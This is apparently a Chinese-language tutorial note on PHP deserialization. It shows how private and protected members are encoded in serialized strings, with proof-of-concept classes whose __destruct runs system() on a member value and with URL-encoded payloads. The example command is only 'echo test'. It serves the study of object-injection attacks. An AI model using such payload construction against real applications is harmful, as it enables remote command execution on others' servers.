serialize_private_and_protected
php反序列化如何同时处理private和protected类型的变量
public
通常遇到的反序列化里所有类的成员都是public
例:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18<?php
class Test {
public $command;
function vuln($payload) {
system($payload);
}
function __destruct(){
$this->vuln($this->command);
}
}
$a = new Test();
$a->command = 'echo "test"';
echo serialize($a);
echo urlencode(serialize($a));
?>
这是一个非常简单的poc案例,假如实例的反序列化代码的成员类型是private或protected,这个代码就会失效
private
1 | <?php |
比较1
2
3
4
5
6
7public代码的结果:
O:4:"Test":1:{s:7:"command";s:11:"echo "test"";}
O%3A4%3A%22Test%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A11%3A%22echo+%22test%22%22%3B%7Dtest
private代码的结果:
O:4:"Test":1:{s:13:"Testcommand";s:11:"echo "test"";}
O%3A4%3A%22Test%22%3A1%3A%7Bs%3A13%3A%22%00Test%00command%22%3Bs%3A11%3A%22echo+%22test%22%22%3B%7Dtest
一眼能看到,这两串序列的区别是command成员的变量名以什么形式序列化,通过观察url编码可以看出:
- public变量以command来序列化
- private变量以%00Test%00command的形式序列化
protected
基本同上
- protected变量以%00*%00command的形式序列化
遇到的问题和通解
成员类型决定我们能修改变量值的方式
可以通过
- $a->command = ‘echo “test”‘;
- private $command = ‘echo “test”‘;
的方式修改
但如果一个类要在统一用多次,而其成员的类型是private且要赋不同的值
那么可以在poc里写专门的成员函数来更改成员变量的值:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21<?php
class Test {
private $command;
function vuln($payload) {
system($payload);
}
function setCommand($payload){
$this->command=$payload;
}
function __destruct(){
$this->vuln($this->command);
}
}
$a = new Test();
$a->setCommand("echo 'test'");
echo serialize($a);
echo urlencode(serialize($a));
?>
参考
https://xz.aliyun.com/t/6454?time__1311=n4%2BxnD0Dg70%3DG%3DoeGN3ExmxWuxGwSgx%2B7%2BiD#toc-1